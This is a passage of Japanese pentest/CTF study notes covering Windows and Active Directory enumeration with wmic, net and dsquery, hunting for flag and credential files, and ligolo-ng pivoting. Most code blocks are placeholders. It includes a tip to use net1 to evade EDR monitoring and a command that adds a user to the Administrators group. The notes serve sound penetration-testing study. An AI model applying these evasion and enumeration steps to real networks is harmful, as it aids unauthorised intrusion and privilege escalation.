| ipconfig /all | ホストのネットワークアダプタ設定を出力する。ネットワークセグメントを把握できる |
| route print | ルーティングテーブル(IPv4 & IPv6)を表示する。ホストが認識しているネットワークやレイヤー3のルート情報が確認できる |
| netsh advfirewall show allprofiles | ホストのファイアウォールの状態を表示する。アクティブかどうか、トラフィックをフィルタリングしているかなどを確認できる |
#### WMI
- WMI : Windows Management Instrumentationは、Windowsの企業環境で広く使われているスクリプトエンジン
- ローカルおよびリモートのホストに対して、情報の取得や管理タスクの実行を行うことができる
PowerShellで実行する
| **コマンド** | **説明** | |
| -------------------------------------------------------------------------------------- | ---------------------------------------------------- | --- |
| wmic qfe get Caption,Description,HotFixID,Installed | ホストに適用されているパッチやホットフィックスの概要と適用日時を表示する | |
| wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:L | ホストに関する基本情報(ホスト名、ドメイン、製造元、モデル、ユーザー名、役割など)を表示する | |
| wmic process list /format: | ホスト上で実行中のすべてのプロセスの一覧を表示する | |
| wmic ntdomain list /format | ドメインおよびドメインコントローラーに関する情報を表示する | |
| wmic useraccount list /forma | ホスト上のすべてのローカルアカウント、ならびに過去にログインしたドメインアカウントに関する情報を表示する | |
| wmic group list /form | すべてのローカルグループに関する情報を表示する | |
| wmic sysaccount list /for | サービスアカウントとして使用されているシステムアカウントに関する情報を出力する | |
| wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress | **現在のドメインが信頼関係を持つドメインや子ドメイン、外部フォレスト**に関する情報を取得 | |
#### ドメインからの列挙
- ドメインから情報を列挙(enumerate)する際に非常に役立つツール
- ローカルホストおよびリモートホストの両方に対してクエリを実行することができ、機能的には WMI と似たような使い方ができる
- ローカルおよびドメインユーザー
- グループ
- ホストの一覧
- 特定グループに所属するユーザー
- ドメインコントローラー
- パスワードポリシーな度がわかる
注意点
- net.exe を使ったコマンドは EDR(Endpoint Detection and Response)によって監視されていることが多いので、バレたり、ブロックされる可能性も全然ある
- でも`net`の代わりに`net1`を使うことで、netと同じことをすることができる
- `net1`は、互換性のために残されているコマンドで、アラートとかに乗っかりにくいかもしれない
| **コマンド** | **説明** |
| ------------------------------------------ | --------------------------------------------------- |
| net accounts | パスワードの要件に関する情報 |
| net accounts /domain | パスワードとアカウントロックアウトのポリシー |
| **net group /domain** | ドメイングループに関する情報 |
| net group "Domain Admins" /domain | ドメイン管理者権限を持つユーザーの一覧 |
| net group "domain computers" /domain | ドメインに参加しているPCの一覧 |
| net group "Domain Controllers" /domain | ドメインコントローラーのPCアカウント一覧 |
| net group <グループ名> /domain | 指定したグループに所属しているユーザー |
| net groups /domain | ドメイングループの一覧 |
| net localgroup | 使用可能なローカルグループの一覧 |
| net localgroup administrators /domain | ドメイン内の管理者グループに所属するユーザー一覧(※通常 “Domain Admins” も含まれる) |
| net localgroup Administrators | ローカル「Administrators」グループの情報 |
| net localgroup administrators [ユーザー名] /add | 指定ユーザーを Administrators グループに追加 |
| net share | 現在の共有フォルダの確認 |
| net user <アカウント名> /domain | ドメイン内の特定ユーザーの情報取得 |
| net user /domain | ドメイン内のすべてのユーザーを一覧表示 |
| net user /domain <ユーザーネーム> | ドメイン内のユーザーの詳細情報を表示する |
| net user %username% | 現在ログインしているユーザーの情報 |
| net use x: \\コンピュータ名\共有名 | 指定された共有をローカルにマウント |
| net view | コンピュータの一覧取得 |
| net view /all /domain[:ドメイン名] | ドメイン内のすべての共有リソース一覧 |
| net view \\コンピュータ名 /ALL | 指定したコンピュータの共有リソース一覧 |
| net view /domain | ドメイン内のPC一覧 |
##### Dsquery
- Active Directory オブジェクトを検索するための便利なコマンドラインツール
- このツールで実行するクエリは、BloodHound や PowerView といった他のツールでも再現可能ですが、常にそういったツールを利用できるとは限らない
- Active Directory Domain Services のロールがインストールされているホストには dsquery が存在していることがある
- dsquery.dll は最新のWindows環境であればデフォルトで`C:\Windows\System32\dsquery.dll`に存在する
- Dsquery DLLについて
- dsquery を使用するには、ホスト上で昇格権限(管理者権限)を持っているか、SYSTEMコンテキストでコマンドプロンプトやPowerShellを実行できる必要がある
ユーザー検索
{{CODE_BLOCK_201}}
ホストの検索
{{CODE_BLOCK_202}}
ワイルドカードを使った検索
{{CODE_BLOCK_203}}
LDAP検索フィルターと組み合わせて、より詳細で条件を絞った検索を行うことができる
**userAccountControl 属性に PASSWD_NOTREQD(パスワード不要)フラグが設定されたユーザー**を検索するコマンド
{{CODE_BLOCK_204}}
上のコマンドの詳細
- 出力されるuserAccountは、それぞれのフラグの足し算なので、以下を見て、分解すればどのアカウントがどのフラグが立っているかがわかる
userAccountControlのフラグの一覧
- https://learn.microsoft.com/ja-jp/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties#list-of-property-flags
- 発見次第、除外すべきアカウント
- 「CN=Guest」 : ゲストアカウント。基本的に無効化されてることが多いから、激アツではない
- 「CN=XXX`$`」: `$`がついているので、コンピュータアカウント。コンピュータアカウントにPASSWD_NOTREQDが付いてるのは普通なので激アツではない。
さらに確認すべきポイント
- dsquery で気になるユーザーが見つかったら、次にそのアカウントが実際にログオン可能な状態かどうかを確認するのが重要
注意点
- net user "氏名" /domain のようにスペースを含むフルネーム(CN)を使って net user を実行すると、エラーになることがある。
- これは net user が sAMAccountName(ログオン名) を必要とするため
そのため、対象ユーザーのログオン名を調べるには、以下のように sAMAccountName を取得する
{{CODE_BLOCK_205}}
得られたログオン名(yolandag)を使って、以下のように net user で詳細情報を確認する
{{CODE_BLOCK_206}}
- こうすることで、アカウントが有効かどうか・グループ所属・ログオン可能かどうかをチェックでき、そこからパスワードスプレーやKerberoastingなど、次の攻撃ステップに進む判断材料になる。
LDAP OIDマッチングルール一覧
|**OID値**|**名前(非公式)**|**意味・用途**|**使用例・特徴**|
|---|---|---|---|
|1.2.840.113556.1.4.803|Bitwise AND 完全一致|**指定したビット値に完全一致する属性のみを検索**|単一のUAC属性にマッチさせたいときに使う(例:PASSWD_NOTREQDが設定されている)|
|1.2.840.113556.1.4.804|Bitwise OR 部分一致|**ビット値のいずれかが一致すれば対象に含める**|複数の属性が混在しているオブジェクトを柔軟に検索できる|
|1.2.840.113556.1.4.1941|DNツリー探索|**オブジェクトの所有関係やグループメンバーシップなどを辿って検索**|ネストされたグループメンバーなどを再帰的に検索するときに便利|
### Linux
---
# その他
## フラグの検索
### Linux
- ファイル名が`user.txt`の場合
{{CODE_BLOCK_207}}
- ファイル名が`root.txt`の場合
{{CODE_BLOCK_208}}
`grep`を使用して特定の文字列を含むファイルを検索
- `user`という文字列を検索(大文字・小文字を無視)
{{CODE_BLOCK_209}}
- `root`という文字列を検索(大文字・小文字を無視)
{{CODE_BLOCK_210}}
クレデンシャルファイルの検索
{{CODE_BLOCK_211}}
{{CODE_BLOCK_212}}
### Windows
Cドライブ全体を検索する場合
- CMD
{{CODE_BLOCK_213}}
{{CODE_BLOCK_214}}
- PowerShell
クレデンシャルファイルの検索
{{CODE_BLOCK_215}}
## ligolo-ng
- https://docs.ligolo.ng/Quickstart/
### 1. 必要なリソースのダウンロード
{{CODE_BLOCK_216}}
### 2. 攻撃者サーバー での設定
{{CODE_BLOCK_217}}
- device or resource busy というエラーが出た場合は、攻撃者マシンの**別のターミナル**で `sudo ip link delete ligolo0` を実行してから再度試す
仮想NICの作成
{{CODE_BLOCK_218}}
### 3.ターゲット側の設定
#### Linux
ダウンロード
{{CODE_BLOCK_219}}
実行
{{CODE_BLOCK_220}}
#### Windows
{{CODE_BLOCK_221}}
### 4.攻撃者側での設定
- proxy を起動すると、プロンプトが表示されます。Agentが接続してくると、proxyのコンソールに通知があります。
{{CODE_BLOCK_222}}
- ifconfigは、ターゲットの内部ネットワーク情報の確認のために行う、攻撃者のNICではない。
- 例えば、eth0 インターフェースに 172.16.1.100/24 と表示されていれば、ターゲットの内部ネットワークは 172.16.1.0/24
別のターミナルで
{{CODE_BLOCK_223}}
### 5. 内部ネットワークの調査
ここから、内部ネットワークの攻撃は、内部ネットワークのIPになる
例えば、攻撃者側でssh入って、ifconfigしたときのipアドレスで、攻撃者側からnmapとかpingができるっていう話
{{CODE_BLOCK_224}}
- Ligolo-ngを使ってる時は、`nmap -sn`だとエラーが起きる
- `nmap -PE -sn `でエラーを防ぐことができつつ、ICMPエコーリクエストのみで調査できる
{{CODE_BLOCK_225}}
## 内部ファイルの持ち出し
[[File Transfer]]
## 内部ファイルの暗号化
[[File Encryption]]
## Windowsローカルパスワード攻撃
[[Windows Local Password Attack]]
- パスワードハッシュを取得して、ハッシュをクラックすることによって、パスワードを不正に取得する
## ActiveDirectory
[[Pentest_Technique/Active Directory]]